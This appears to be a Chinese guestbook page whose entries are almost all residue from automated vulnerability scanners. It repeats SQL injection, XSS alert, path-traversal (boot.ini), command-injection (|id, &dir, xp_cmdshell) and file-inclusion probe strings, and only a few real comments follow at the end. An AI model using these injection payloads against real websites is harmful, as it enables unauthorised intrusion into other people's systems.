| 说: 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst )说:111-222-1933email@address.tst 说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:!(() 111-222-1933email@address.tst说:) /说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:/ ";printf(md5(acunetix_wvs_security_test));exit;//说:111-222-1933email@address.tst 111-222-1933email@address.tst说:;printf(md5(acunetix_wvs_security_test));exit;// 111-222-1933email@address.tst说:printf(md5(acunetix_wvs_security_test));exit;// 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst ;printf(md5(acunetix_wvs_security_test));exit;//说:111-222-1933email@address.tst printf(md5(acunetix_wvs_security_test));exit;//说:111-222-1933email@address.tst 111-222-1933email@address.tst说:";printf(md5(acunetix_wvs_security_test));exit;// 111-222-1933email@address.tst说:111-222-1933email@address.tst SomeCustomInjectedHeader:injected_by_wvs说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst SomeCustomInjectedHeader:injected_by_wvs说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说: SomeCustomInjectedHeader:injected_by_wvs 111-222-1933email@address.tst说: SomeCustomInjectedHeader:injected_by_wvs 111-222-1933email@address.tst说:addsayform.asp 111-222-1933email@address.tst说:addsayform.asp 111-222-1933email@address.tst说:addsayform.asp addsayform.asp说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst addsayform.asp说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst addsayform.asp说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:acunetix_wvs_invalid_filename acunetix_wvs_invalid_filename说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst http://testphp.acunetix.com/acunetix_file_inclusion_test?说:111-222-1933email@address.tst /some_inexistent_file_with_long_name说:111-222-1933email@address.tst http://some-inexistent-website.com/some_inexistent_file_with_long_name说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:http://testphp.acunetix.com/acunetix_file_inclusion_test? 111-222-1933email@address.tst说:/some_inexistent_file_with_long_name 111-222-1933email@address.tst说:http://some-inexistent-website.com/some_inexistent_file_with_long_name ..蜡..蜡..蜡..蜡..蜡..蜡..蜡..蜡boot.ini说:111-222-1933email@address.tst |..\..\..\..\..\..\..\..\boot.ini说:111-222-1933email@address.tst <..\..\..\..\..\..\..\..\boot.ini说:111-222-1933email@address.tst ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:..蜡..蜡..蜡..蜡..蜡..蜡..蜡..蜡boot.ini 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:|..\..\..\..\..\..\..\..\boot.ini 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 111-222-1933email@address.tst说:<..\..\..\..\..\..\..\..\boot.ini ../..//../..//../..//../..//../..//../..//../..//../..//boot.ini说:111-222-1933email@address.tst ..\..\..\..\..\..\..\..\boot.ini说:111-222-1933email@address.tst /./././././././boot.ini说:111-222-1933email@address.tst ../../../../../../../../boot.ini说:111-222-1933email@address.tst ../../../../../../../../boot.ini说:111-222-1933email@address.tst 喇喇蜡喇喇蜡喇喇蜡喇喇蜡喇喇蜡喇喇蜡喇喇蜡喇喇蜡boot.ini说:111-222-1933email@address.tst ../../../../../../../../boot.ini说:111-222-1933email@address.tst C:\boot.ini说:111-222-1933email@address.tst ../../../../../../../../boot.ini说:111-222-1933email@address.tst /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:..\..\..\..\..\..\..\..\boot.ini 111-222-1933email@address.tst说:/./././././././boot.ini 111-222-1933email@address.tst说:C:\boot.ini 111-222-1933email@address.tst说:/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini 111-222-1933email@address.tst说:../../../../../../../../boot.ini 111-222-1933email@address.tst说:../../../../../../../../boot.ini 111-222-1933email@address.tst说:喇喇蜡喇喇蜡喇喇蜡喇喇蜡喇喇蜡喇喇蜡喇喇蜡喇喇蜡boot.ini 111-222-1933email@address.tst说:../../../../../../../../boot.ini 111-222-1933email@address.tst说:../../../../../../../../boot.ini 111-222-1933email@address.tst说:../..//../..//../..//../..//../..//../..//../..//../..//boot.ini &dir说:111-222-1933email@address.tst 说:111-222-1933email@address.tst dir说:111-222-1933email@address.tst ;dir说:111-222-1933email@address.tst |dir说:111-222-1933email@address.tst &dir&说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:|dir 111-222-1933email@address.tst说:&dir& 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说: 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:dir 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说: 111-222-1933email@address.tst说:;dir 0.01说:111-222-1933email@address.tst JyI=说:111-222-1933email@address.tst \"说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst %27说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说: 111-222-1933email@address.tst说:0.01 111-222-1933email@address.tst说:%27 111-222-1933email@address.tst说:JyI= 111-222-1933email@address.tst说:\" 111-222-1933email@address.tst说:111-222-1933email@address.tst 111-222-1933email@address.tst说:acue15af475c3b4d89c29cd7302da3a5ddb acu61590d1a556f745bc10d3f8f095a28a8说:111-222-1933email@address.tst 说: 说: 2008说: 2008说: 2008说: 2008说: 2008说: 2008' and 1>1--说: 2008' and 1=1--说: 2008说: 2008'说: 2008说: 2008说: 2008说: 2008说: 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 |id说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 ' or 'foobar'='foobar' --说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 #&<(,+">;说:1234 or 7659=7659说:1234 " | "id说:1234 ' | 'id说:1234 ||id说:1234 &&id说:1234 " | "vol说:1234 |vol说:1234 ' and 'barfoo'='foobar' --说:1234 ' | 'vol说:1234 ' or 'foobar'='foobar说:1234 ||vol说:1234 ' and 'barfoo'='foobar说:1234 ' || 'somechars说:1234 /**/or/**/7659=7659说:1234 &&vol说:1234 ' + 'somechars说:1234 12345--1234说:1234 somechars' || '说:1234 somechars' + '说:1234 ' || '说:1234 ' or 'foobar'='foobar') --说:1234 "'说:1234 ' + '说:1234 ' and 'barfoo'='foobar') --说:1234 说:1234 ' and 'foobar'='foobar') --说:1234 /**/and/**/0=7659说:1234 ' and 'foobar'='foobar' --说:1234 说:1234 ' and 'foobar'='foobar说:1234 说:1234 and 0=7659说:1234 /**/and/**/7659=7659说:1234 12345++12345说:1234 说:1234 说:1234 and 7659=7659说:1234 0+0++0说:1234 说:1234 Foobar? WatchfireHeader: WatchfireValue/1.2-3 SecondWatchfireHeader: whatever说:1234 AVAK$(RETURN_CODE)OS说:1234 说:1234 说:1234 )说:1234 \'说:1234 '说:1234 \"说:1234 "说:1234 ;说:1234 说:1234 ';说:1234 说:1234 说:1234 ' exec master..xp_cmdshell 'vol'--说:1234 WF'\'SQL"\"Probe;--说:1234 '"WFXSSProbe)/>说:1234 说:1234 WFXSSProbe说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234#&<(,+">; 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234/**/or/**/7659=7659 说:1234 说:1234 说:1234' or 'foobar'='foobar 说:" | "id 说:||id 说:&&vol 说:1234/**/and/**/0=7659 说:' | 'id 说:Foobar? WatchfireHeader: WatchfireValue/1.2-3 SecondWatchfireHeader: whatever 说:&&id 说:1234' + 'somechars 说:|id 说:" | "vol 说:|vol 说:' | 'vol 说:||vol 说:1234 or 7659=7659 说:1234' or 'foobar'='foobar' -- 说:1234' or 'foobar'='foobar') -- 说:1234' || 'somechars 说:somechars' || '1234 说:' || '1234 说:somechars' + '1234 说:' + '1234 说: 说:12345-1234-1234 说:1234' and 'barfoo'='foobar 说:1234 and 0=7659 说:12345+1234+12345 说:1234' and 'barfoo'='foobar' -- 说:1234' and 'barfoo'='foobar') -- 说:1234' and 'foobar'='foobar 说:1234/**/and/**/7659=7659 说:1234 and 7659=7659 说:0+0+1234+0 说:1234' and 'foobar'='foobar' -- 说:1234' and 'foobar'='foobar') -- 说:) 说:"' 说:AVAK$(RETURN_CODE)OS 说: 说: 说: 说:\" 说: 说:" 说:; 说:>"'> 说:\u003Cscript\u003Ealert\u0028\u0022Watchfire\u0020XSS\u0020Test\u0020Successful\u0022\u0029\u003C/script\u003E 说:\u003Cscript\u003Ealert\u0028\u0027Watchfire\u0020XSS\u0020Test\u0020Successful\u0027\u0029\u003C/script\u003E 说:\' 说:"> 说:' 说:>'> 说:"> 说:"> 说:"> 说:>">< 说:>'>< 说:< 说: 说:>"> 说:1234" alert("Watchfire XSS Test Successful") " 说:>"'> 说:1234' exec master..xp_cmdshell 'vol'-- 说:1234'+alert('Watchfire XSS Test Successful')+' 说:1234' alert('Watchfire XSS Test Successful') ' 说:--> 说:WF'\'SQL"\"Probe;-- 说:1234'"WFXSSProbe)/> 说:1234WFXSSProbe 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 /**/or/**/7659=7659说:1234 说:1234 说:1234 说:1234 /**/and/**/0=7659说:1234 说:1234 说:1234 ' || 'somechars说:1234 说:1234 说:1234 |vol说:1234 somechars' || '说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 12345--1234说:1234 说:1234 说:1234 12345++12345说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 #&<(,+">;说:1234 " | "vol说:1234 ' | 'vol说:1234 ||vol说:1234 &&vol说:1234 说:1234 ' or 'foobar'='foobar') --说:1234 " alert("WatchfireXSSTestSuccessful") "说:1234 ' or 'foobar'='foobar说:1234 ' or 'foobar'='foobar' --说:1234 ' and 'barfoo'='foobar') --说:1234 or 7659=7659说:1234 ' and 'barfoo'='foobar说:1234 ' and 'barfoo'='foobar' --说:1234 ' and 'foobar'='foobar') --说:1234 ' || '说:1234 ' + 'somechars说:1234 somechars' + '说:1234 ' and 'foobar'='foobar' --说:1234 /**/and/**/7659=7659说:1234 说:1234 ' + '说:1234 and 0=7659说:1234 ' and 'foobar'='foobar说:1234 说:1234 and 7659=7659说:1234 0+0++0说:1234 "'说:1234 说:1234 Foobar? WatchfireHeader: WatchfireValue/1.2-3 SecondWatchfireHeader: whatever说:1234 AVAK$(RETURN_CODE)OS说:1234 说:1234 说:1234 说:1234 说:1234 )说:1234 \"说:1234 "说:1234 '说:1234 说:1234 ;说:1234 说:1234 \'说:1234 WFXSSProbe说:1234 <说:1234 '+alert('Watchfire XSS Test Successful')+'说:1234 ' alert('WatchfireXSSTestSuccessful') '说:1234 -->说:1234 " style="background:url(javascript:alert('Watchfire XSS Test Successful'))" OA="说:1234 >"'> >"'> ' exec master..xp_cmdshell 'vol'--说:1234 WF'\'SQL"\"Probe;--说:1234 '"WFXSSProbe)/>说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234#&<(,+">; 说:1234' + 'somechars 说:1234 说:1234 说:12345-1234-1234 说:1234 说:1234 说:12345+1234+12345 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234' or 'foobar'='foobar') -- 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234' || 'somechars 说:1234 说:1234 说:1234 说: 说:1234' and 'barfoo'='foobar') -- 说:somechars' || '1234 说:1234 说:1234 说:' || '1234 说:" | "vol 说:' | 'vol 说:||vol 说:&&vol 说:>"'> 说:|vol 说:somechars' + '1234 说:1234' or 'foobar'='foobar' -- 说:1234' or 'foobar'='foobar 说:1234 or 7659=7659 说:' + '1234 说:1234' and 'foobar'='foobar') -- 说:0+0+1234+0 说:1234/**/or/**/7659=7659 说:1234' and 'barfoo'='foobar' -- 说:1234/**/and/**/0=7659 说:1234' and 'barfoo'='foobar 说:1234 and 0=7659 说:1234' and 'foobar'='foobar' -- 说:1234' and 'foobar'='foobar 说:1234 and 7659=7659 说:1234/**/and/**/7659=7659 说: 说:"' 说:Foobar? WatchfireHeader: WatchfireValue/1.2-3 SecondWatchfireHeader: whatever 说:AVAK$(RETURN_CODE)OS 说: 说: 说:\' 说:) 说:\" 说:" 说:; 说:' 说:12341 having 1=1-- 说:1234' having 1=1-- 说:1234'; 说:>"'> 说:1234' exec master..xp_cmdshell 'vol'-- 说:WF'\'SQL"\"Probe;-- 说:1234'"WFXSSProbe)/> 说:1234WFXSSProbe 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 ' or 'foobar'='foobar' --说:1234 说:1234 or 7659=7659说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 #&<(,+">;说:1234 and 0=7659说:1234 " | "vol说:1234 ' | 'vol说:1234 ||vol说:1234 ' || 'somechars说:1234 ' + 'somechars说:1234 ' or 'foobar'='foobar') --说:1234 ' or 'foobar'='foobar说:1234 &&vol说:1234 /**/or/**/7659=7659说:1234 somechars' || '说:1234 somechars' + '说:1234 12345--1234说:1234 ' and 'barfoo'='foobar') --说:1234 ' and 'barfoo'='foobar' --说:1234 ' and 'barfoo'='foobar说:1234 |vol说:1234 /**/and/**/0=7659说:1234 ' || '说:1234 ' + '说:1234 12345++12345说:1234 ' and 'foobar'='foobar') --说:1234 ' and 'foobar'='foobar' --说:1234 ' and 'foobar'='foobar说:1234 /**/and/**/7659=7659说:1234 and 7659=7659说:1234 0+0++0说:1234 Foobar? WatchfireHeader: WatchfireValue/1.2-3 SecondWatchfireHeader: whatever说:1234 "'说:1234 AVAK$(RETURN_CODE)OS说:1234 说:1234 说:1234 )说:1234 \"说:1234 "说:1234 ;说:1234 说:1234 \'说:1234 '说:1234 说:1234 ';说:1234 ' having 1=1--说:1234 ' exec master..xp_cmdshell 'vol'--说:1234 说:1234 WF'\'SQL"\"Probe;--说:1234 '"WFXSSProbe)/>说:1234 说:1234 说:1234 说:1234 说:1234 WFXSSProbe说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:|vol 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234#&<(,+">; 说:1234' || 'somechars 说:" | "vol 说:1234' + 'somechars 说:' | 'vol 说:somechars' || '1234 说:||vol 说:somechars' + '1234 说:&&vol 说:' || '1234 说:' + '1234 说:1234' or 'foobar'='foobar' -- 说:1234' or 'foobar'='foobar 说:1234' or 'foobar'='foobar') -- 说:1234/**/or/**/7659=7659 说:12345-1234-1234 说:1234' and 'barfoo'='foobar') -- 说:1234 or 7659=7659 说:1234' and 'barfoo'='foobar 说:1234' and 'barfoo'='foobar' -- 说:1234/**/and/**/0=7659 说:12345+1234+12345 说:1234' and 'foobar'='foobar') -- 说:1234 and 0=7659 说:1234' and 'foobar'='foobar' -- 说:1234' and 'foobar'='foobar 说:1234/**/and/**/7659=7659 说:0+0+1234+0 说:1234 and 7659=7659 说:Foobar? WatchfireHeader: WatchfireValue/1.2-3 SecondWatchfireHeader: whatever 说:AVAK$(RETURN_CODE)OS 说:"' 说:\" 说: 说: 说: 说:) 说:" 说:\' 说:' 说:; 说: 说:>"'> 说:1234' exec master..xp_cmdshell 'vol'-- 说:WF'\'SQL"\"Probe;-- 说:1234'"WFXSSProbe)/> 说:1234WFXSSProbe 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 说:1234 dsa说:asdsad 说: dsa说:dsa 说:1234 说:1234 说: 说: 你的老朋友说:这个栏目是宣传正面事情的,能不能在开个栏目,专门说那些反面的事情,比如贪污、渎职、交通事故、行政不作为等等。警钟长鸣。 说: 说: wilmy说:haha |